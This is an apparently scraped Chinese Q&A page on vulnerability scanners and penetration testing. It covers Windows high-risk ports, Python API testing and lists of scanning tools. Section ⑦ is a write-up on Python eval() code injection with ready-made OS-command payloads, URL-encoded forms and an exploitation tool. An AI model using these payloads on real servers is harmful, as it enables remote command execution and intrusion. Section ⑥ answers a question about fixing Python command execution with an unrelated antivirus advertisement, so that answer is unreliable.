python3漏洞掃描器框架

① 滲透測試工程師需要具備哪些知識

滲透測試，是為了證明網路防禦按照預期計劃正常運行而提供的一種機制。不妨假設，你的公司定期更新安全策略和程序，時時給系統打補丁，並採用了漏洞掃描器等工具，以確保所有補丁都已打上。如果你早已做到了這些，為什麼還要請外方進行審查或滲透測試呢？因為，滲透測試能夠獨立地檢查你的網路策略，換句話說，就是給你的系統安了一雙眼睛。而且，進行這類測試的，都是尋找網路系統安全漏洞的 人士。如果一些大公司傾向於專 學習這方面的人才，可以去這學習的 ，學員畢業之後可以直接去工作，很有實力

② 請闡述漏洞掃描器的作用並根據如下掃描結果分析該系統存在哪些安全風險，如何加強系統安全

1、漏洞掃描器的作用：把各種安全漏洞集成在一起，自動利用這些安全漏洞對遠程主機嘗試攻擊，從而確定目標主機是否存在這些安全漏洞。漏洞掃描，確定特定服務存在的安全漏洞2、默認情況下windows有很多埠是開放的.在你上網的時候,網路病毒和黑客可以通過這些埠連上你的電腦.135埠漏洞：「沖擊波」病毒就是利用RPC漏洞來攻擊計算機的。RPC本身在處理通過TCP/IP的消息交換部分有一個漏洞，該漏洞是由於錯誤地處理格式不正確的消息造成的。該漏洞會影響到RPC與DCOM之間的一個介面，該介面偵聽的埠就是135。139埠漏洞：開啟139埠雖然可以提供共享服務，但是常常被攻擊者所利用進行攻擊，比如使用流光、SuperScan等埠掃描工具，可以掃描目標計算機的139埠，如果發現有漏洞，可以試圖獲取用戶名和密碼，這是非常危險的。445埠是一個毀譽參半的埠,有了它我們可以在區域網中輕松訪問各種共享文件夾或共享列印機,但也正是因為有了它,黑客能通過該埠偷偷共享你的硬碟,甚至會在悄無聲息中將你的硬碟格式化掉!在NT技術架構的Windows系統中，有一個系統內置的許可權較低的匿名訪問賬號guest，由於該賬號的存在往往會給系統的安全帶來危害，比如：別人偷偷把你的guest激活後作為後門賬號使用，更隱蔽的是直接克隆成了管理員賬號，ADMINISTRATOR密碼復雜對上網安全是有益的，會給黑客的直接攻擊，提升許可權增加難度，有防黑客的意義。黑客入侵的常用手段之一就是試圖獲得Administrator帳戶的密碼。1025埠以後Windows動態分配的監聽埠（listen port）。匿名接入該埠後，就可獲取Windows網路的伺服器信息與用戶信息等。可匿名獲取用戶名與伺服器信息就意味著入侵者可以輕松地獲得攻擊伺服器的信息。3、如何加強：135、139、445、1025為高危埠開放，應關閉135.139.445、1025等高危埠；GUEST被啟用，應禁用GUEST！ADMINISTRATOR無密碼或弱口令，應設置復雜的ADMINISTRATOR密碼

③ 滲透工程師是做什麼的

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滲透測試，是為了證明網路防禦按照預期計劃正常運行而提供的一種機制。不妨假設，你的公司定期更新安全策略和程序，時時給系統打補丁，並採用了漏洞掃描器等工具，以確保所有補丁都已打上。如果你早已做到了這些，為什麼還要請外方進行審查或滲透測試呢？因為，滲透測試能夠獨立地檢查你的網路策略，換句話說，就是給你的系統安了一雙眼睛。而且，進行這類測試的，都是尋找網路系統安全漏洞的專業人士。

④ 如何使用python根據介面文檔進行介面測試

1，關於requests
requests是python的一個http客戶端庫，設計的非常簡單，專門為簡化http測試寫的。
2，開發環境
mac下面搭建開發環境非常方便。
sudo easy_install pip
sudo pip install requests

測試下：python命令行
import requests
>>> r = requests.get('', auth=('user', 'pass'))
>>> r.status_code
200
>>> r.headers['content-type']
'application/json; charset=utf8'
>>> r.encoding
'utf-8'
>>> r.text
u'{type:User...'
>>> r.json()
{u'private_gists': 419, u'total_private_repos': 77, ...}

開發工具，之前使用sublime，發現運行報錯，不識別table字元。
IndentationError: unindent does not match any outer indentation level

非常抓狂的錯誤，根本找不到代碼哪裡有問題了。甚至開始懷疑人生了。
python的這個空格區分代碼真的非常讓人抓狂。開始懷念有大括弧，分號的語言了。
徹底解決辦法，直接換個IDE工具。使用牛刀，IDA開發。

直接下載社區版本即可，因為就是寫個腳本啥的，沒有用到太復雜的框架。

果然效果非常好，直接格式下代碼，和java的一樣好使，可以運行可以debug。右鍵直接運行成功。
3，測試介面
沒有啥太復雜的，直接使用requests框架即可。
#!/usr/bin/python
# -*- coding: utf-8 -*-

################

import requests

#測試網路
def _func(url):
headers = {}
params = {}
req = requests.post(url, headers=headers, params=params)
print(req.text)
if __name__ == '__main__':
url =
_func(url)

4，總結
測試非常重要，尤其是對外的介面出現的漏洞，需要花時間去仔細測試，同時要仔細分析代碼。
安全是挺重要的事情，要花時間去琢磨。
python學習還是非常容易學習的，一個小時就能把語法學會。
同時滲透測試，安全掃描的好多工具也是python寫的。PyCharm CE版本的開發工具足夠強大，能夠幫你快速學習python。
如果想快速做點界面的開發，wxPython是非常不錯的選擇。

⑤ 有沒有好用的漏洞掃描工具

1、OpenVAS漏洞掃描工具
OpenVAS漏洞掃描器是一種漏洞分析工具，由於其全面的特性，IT部門可以使用它來掃描伺服器和網路設備。
這些掃描器將通過掃描現有設施中的開放埠、錯誤配置和漏洞來查找IP地址並檢查任何開放服務。掃描完成後，將自動生成報告並以電子郵件形式發送，以供進一步研究和更正。
OpenVAS也可以從外部伺服器進行操作，從黑客的角度出發，從而確定暴露的埠或服務並及時進行處理。如果您已經擁有一個內部事件響應或檢測系統，則OpenVAS將幫助您使用網路滲透測試工具和整個警報來改進網路監控。
2、Nessus漏洞掃描工具
Tenable的Nessus
Professional是一款面向安全專業人士的工具，負責修補程序、軟體問題、惡意軟體和廣告軟體刪除工具，以及各種操作系統和應用程序的錯誤配置。
Nessus提供了一個主動的安全程序，在黑客利用漏洞入侵網路之前及時識別漏洞，同時還處理遠程代碼執行漏洞。
它關心大多數網路設備，包含虛擬、物理和雲基礎架構。Tenable還被認為是Gartner Peer
Insights在2003年3月之前進行危險性評估的首選方案。
3、Nexpose community
Nexpose community是由Rapid7開發的漏洞掃描工具，它是涵蓋了大多數網路檢查的開源解決方案。
這個解決方案的多功能性是IT管理員的一個優勢，它可以被整合到一個Metaspoit框架中，能夠在任何新設備訪問網路時檢測和掃描設備。
它還可以監控真實世界中的漏洞暴露，最重要的是，它可以進行相應的修復。此外，漏洞掃描程序還可以對威脅進行風險評分，范圍在1-1000之間，從而為安全專家在漏洞被利用之前修復漏洞提供了便利。Nexpose目前可免費試用一年。
4、Nikto
Nikto是另一個免費的在線漏洞掃描工具，如Nexpose community。
Nikto可幫助您了解伺服器功能，檢查其版本，在網路伺服器上進行測試以識別威脅和惡意軟體的存在，並掃描不同的協議，如https、httpd、http等。
還有助於在短時間內掃描伺服器的多個埠，Nikto因其效率和伺服器強化功能而受到青睞。
5、Retina
Retina漏洞掃描工具是基於Web的開源軟體，從中心位置負責漏洞管理。它的功能包括修補、合規性、配置和報告。
負責資料庫、工作站、伺服器分析和Web應用程序，完全支持VCenter集成和應用程序掃描虛擬環境;它負責多個平台，提供完整的跨平台漏洞評估和安全性。

⑥ 如何修復Python任意命令執行漏洞

打開騰訊電腦管家——工具箱——修復漏洞，進行漏洞掃描和修復。
建議設置開啟自動修復漏洞功能，開啟後，電腦管家可以在發現高危漏洞（僅包括高危漏洞，不包括其它漏洞）時，第一時間自動進行修復，無需用戶參與，最大程度保證用戶電腦安全。尤其適合老人、小孩或計算機初級水平用戶使用。開啟方式如下：進入電腦管家「修復漏洞」模塊—「設置」，點擊開啟自動修復漏洞即可。

⑦ 如何使用python查找網站漏洞

如果你的Web應用中存在Python代碼注入漏洞的話，攻擊者就可以利用你的Web應用來向你後台伺服器的Python解析器發送惡意Python代碼了。這也就意味著，如果你可以在目標伺服器中執行Python代碼的話，你就可以通過調用伺服器的操作系統的指令來實施攻擊了。通過運行操作系統命令，你不僅可以對那些可以訪問到的文件進行讀寫操作，甚至還可以啟動一個遠程的互動式Shell(例如nc、Metasploit和Empire)。
為了復現這個漏洞，我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找一些關於這個漏洞具體應用方法的信息，但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下，我們成功地通過Burp POC實現了一個非互動式的shell，這也是我們這篇文章所要描述的內容。
因為除了Python之外，還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼注入問題，因此Python代碼注入屬於伺服器端代碼注入的一種。實際上，如果各位同學和我一樣是一名CWE的關注者，那麼下面這兩個CWE也許可以給你提供一些有價值的參考內容：
1. CWE-94：代碼生成控制不當(『代碼注入』)2. CWE-95：動態代碼評估指令處理不當(『Eval注入』)漏洞利用
假設你現在使用Burp或者其他工具發現了一個Python注入漏洞，而此時的漏洞利用Payload又如下所示：
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那麼你就可以使用下面這個Payload來在目標主機中實現操作系統指令注入了：
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上，你甚至都不需要使用for循環，直接使用全局函數「__import__」就可以了。具體代碼如下所示：
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔，既然我們已經將import和popen寫在了一個表達式裡面了，那麼在大多數情況下，你甚至都不需要使用compile了。具體代碼如下所示：
__import__('os').popen('COMMAND').read()
為了將這個Payload發送給目標Web應用，你需要對其中的某些字元進行URL編碼。為了節省大家的時間，我們在這里已經將上面所列出的Payload代碼編碼完成了，具體如下所示：
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來，我們將會給大家介紹關於這個漏洞的細節內容，並跟大家分享一個包含這個漏洞的Web應用。在文章的結尾，我將會給大家演示一款工具，這款工具是我和我的同事Charlie共同編寫的，它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之，這款工具就像sqlmap一樣，可以讓你快速找到SQL注入漏洞，不過這款工具仍在起步階段，感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。
搭建一個包含漏洞的伺服器
為了更好地給各位同學進行演示，我專門創建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話，你可以點擊這里獲取這份Web應用。接下來，我們要配置的就是Web應用的運行環境，即通過pip或者easy_install來安裝web.py。它可以作為一台獨立的伺服器運行，或者你也可以將它載入至包含mod_wsgi模塊的Apache伺服器中。相關操作指令如下所示：
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
當你在網上搜索關於python的eval()函數時，幾乎沒有文章會提醒你這個函數是非常不安全的，而eval()函數就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況，說明你的Web應用中存在這個漏洞：
1. Web應用接受用戶輸入(例如GET/POST參數，cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查，或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼：
\
大家可以看到，eval()函數是上述代碼中唯一一個存在問題的地方。除此之外，如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話，那麼Web應用中也將會出現這個漏洞。
不過需要注意的是，除了eval()函數之外，Python的exec()函數也有可能讓你的Web應用中出現這個漏洞。而且據我所示，現在很多開發人員都會在Web應用中不規范地使用exec()函數，所以這個問題肯定會存在。
自動掃描漏洞
為了告訴大家如何利用漏洞來實施攻擊，我通常會使用掃描器來發現一些我此前沒有見過的東西。找到之後，我再想辦法將毫無新意的PoC開發成一個有意義的exploit。不過我想提醒大家的是，不要過度依賴掃描工具，因為還很多東西是掃描工具也找不到的。
這個漏洞也不例外，如果你在某個Web應用中發現了這個漏洞，那麼你肯定使用了某款自動化的掃描工具，比如說Burp Suite Pro。目前為止，如果不使用類似Burp Suite Pro這樣的專業掃描工具，你幾乎是無法發現這個漏洞的。
當你搭建好測試環境之後，啟動並運行包含漏洞的示例應用。接下來，使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示：
\
下圖顯示的是Burp在掃描這個漏洞時所使用的Payload：
\
我們可以看到，Burp之所以要將這個Web應用標記為「Vulnerable」(包含漏洞的)，是因為當它將這個Payload發送給目標Web應用之後，伺服器的Python解析器休眠了20秒，響應信息在20秒之後才成功返回。但我要提醒大家的是，這種基於時間的漏洞檢查機制通常會存在一定的誤報。
將PoC升級成漏洞利用代碼
使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來，為了執行操作系統指令並接收相應的輸出數據，我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了，應該還有很多其他的函數同樣可以實現我們的目標。
因為eval()函數只能對表達式進行處理，因此Burp Suite Pro的Payload在這里使用了compile()函數，這是一種非常聰明的做法。當然了，我們也可以使用其他的方法來實現，例如使用全局函數「__import__」。關於這部分內容請查閱參考資料：[參考資料1][參考資料2]
下面這個Payload應該可以適用於絕大多數的場景：
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# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執行一個或多個語句，那麼你就需要使用eval()或者compile()函數了。實現代碼如下所示：
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中，有時全局函數「__import__」會不起作用。在這種情況下，我們就要使用for循環了。相關代碼如下所示：
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數是一個GET參數，那麼你就可以直接在瀏覽器中利用這個漏洞了：
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請注意：雖然瀏覽器會幫你完成絕大部分的URL編碼工作，但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外，你也可以直接使用我們所開發的工具。
如果是POST參數的話，我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示，我在subprocess.check_output()函數中一次性調用了多個系統命令，即pwd、ls、-al、whoami和ping。
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漏洞利用工具-PyCodeInjectionShell
你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼，我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到，它跟sqlmap一樣使用起來非常的簡單。除此之外，它的使用方法跟sqlmap基本相同。

⑧ 黑客與逆向工程師的Python編程之道的簡介

我為了進行黑客技術研究而特地學習了Python這門語言，我敢斷言在這個領域中的眾多其他同行們也是如此。我曾經花費了大量的時間來尋找一種能夠同時適用於黑客技術和逆向工程領域的編程語言，就在幾年前，Python成為了黑客編程領域內顯而易見的王者。而一個不盡人如意的事實是，到目前為止還沒有一本真正意義上的參考手冊，來指導你將Python應用於不同的黑客技術場景中。你往往需要遊走於各大論壇的技術討論帖子中或者各種工具手冊中。有時為了使你的工具能夠正確地運轉起來，花費一番不小的功夫來閱讀和調試源代碼也是司空見慣的情況。而本書正是致力於填補這方面的空缺，將引領你經歷一次「旋風」之旅——你將看到Python這門語言是如何被應用在各式各樣的黑客技術與逆向工程場景中的。
本書將向你揭示隱藏在各種黑客工具背後的原理機制，其中包括：調試器、後門技術、Fuzzer、模擬器以及代碼注入技術，本書將向你一 一演示如何駕馭這些技術工具。除了學到如何使用現有的基於Python的工具之外， 你還將學習如何使用Python構建自己的工具。需要有言在先的一點就是，這並不是一本大全式的參考手冊！有大量使用Python編寫的信息安全類工具未在此書中被提及。本書的信條是授之以漁，而非授之以魚！你應當把從本書中所獲得的技能靈活地應用於其他的場景中，根據自身的需求對你選擇的其他Python工具進行調試，並做出擴展和定製。
閱讀本書的方式不僅限於一種，如果你是個Python新手或者對於構建黑客工具尚感陌生，那麼從前往後依次閱讀對你來說是最好的選擇，你將從最基本的理論開始，並在閱讀本書的過程中編寫相當數量的Python代碼。當你閱讀完本書時，你應當具備了自行解決各種黑客或逆向工程任務的能力。如果你對Python已有一定程度的了解，並且對Ctype庫的使用駕輕就熟，那麼不妨直接跳過第1章。對於那些行業浸沉已久的老手，相信你們可以在本書中來回穿梭自如，歡迎你們在日常工作中隨時按需擷取本書中的代碼片段或者相關章節。
本書在調試器相關的內容上花費了相當的篇幅，從第2章講述調試器的基本原理開始，直至第5章介紹完Immunity Debugger為止。調試器對於任何一個真正的黑客而言都是至關重要的工具，因此我毫不吝惜筆墨來對它們進行廣泛而全面的介紹。在之後的第6章和第7章中你將學到一些鉤子和代碼注入的技術，這些技術同樣可以被調試器工具採用，作為控製程序流和操縱內存的手段。
本書接下來的焦點放在使用Fuzzer工具來攻破應用程序體繫上。在第8章中，你將開始學習基本的Fuzzing技術理論，我們將構建自己的文件Fuzzing工具。第9章將向你演示如何駕馭強大的Fuzzing框架——Sulley來攻破一個現實世界中的FTP daemon程序。在第10章中，你將學習如何構建一個Fuzzer工具來攻擊Windows驅動。
在第11章中，你將看到如何在IDA Pro中（一款流行的二進制靜態分析工具）實現自動化執行靜態分析任務。在第12章中，我們將介紹一款基於Python的模擬器——PyEmu，來為本書畫上句號。
我試著使出現在本書中的代碼盡量簡潔，並在某些特定的地方加上了詳細的注釋以幫助你理解代碼的本質。學習一門新的編程語言或者掌握一套陌生的函數庫的過程少不了你自己的親身實踐，以及不斷的自我糾正。

⑨ 如何用Python實現掃描網站的備份文件

config.txt是配置文件
url.txt是要掃描的url
內部配置相關的常見編輯器漏洞和svn源碼泄露漏洞
多線程運行
程序的思路是先檢測漏洞，在掃描備份，文件結果自動保存在當前目錄！

⑩ web漏洞掃描工具有哪些

1、Nexpose：跟其他掃描工具不同的是，它的功能十分強大，可以更新漏洞資料庫，也可以看出哪些漏洞可以被Metasploit Exploit，可以生成非常詳細、強大的Report，涵蓋了很多統計功能和漏洞的詳細信息。
2、OpenVAS：類似Nessus的綜合型漏洞掃描器，可以用來識別遠程主機、Web應用存在的各種漏洞，它使用NVT腳本對剁成遠程系統的安全問題進行檢測。
3、WebScarab：可以分析使用HTTP和HTTPS協議進行通信的應用程序，它可以簡單記錄觀察的會話且允許操作人員以各種方式進行查看。
4、WebInspect：是一款強大的Web應用程序掃描程序，有助於確認Web應用中已知和未知的漏洞，還可以檢查一個Web伺服器是否正確配置。
5、Whisker/libwhisker：是一個Perla工具，適合於HTTP測試，可以針對許多已知的安全漏洞，測試HTTP伺服器，特別是檢測危險CGI的存在。
6、Burpsuite：可以用於攻擊Web應用程序的集成平台，允許一個攻擊者將人工和自動的技術進行結合，並允許將一種工具發現的漏洞形成另外一種工具的基礎。
7、Wikto：是一個Web伺服器評估工具，可以檢查Web伺服器中的漏洞，並提供與Nikto一樣的很多功能，但增加了許多有趣的功能部分。
8、Watchfire AppScan：是一款商業類的Web漏洞掃描程序，簡化了部件測試和開發早期的安全保證，可以掃描許多常見的漏洞，如跨站腳本攻擊、HTTP響應拆分漏洞、參數篡改、隱式欄位處理、後門/調試選項、緩沖區溢出等等。
9、N-Stealth：是一款商業級的Web伺服器安全掃描程序，主要為Windows平台提供掃描，但並不提供源代碼。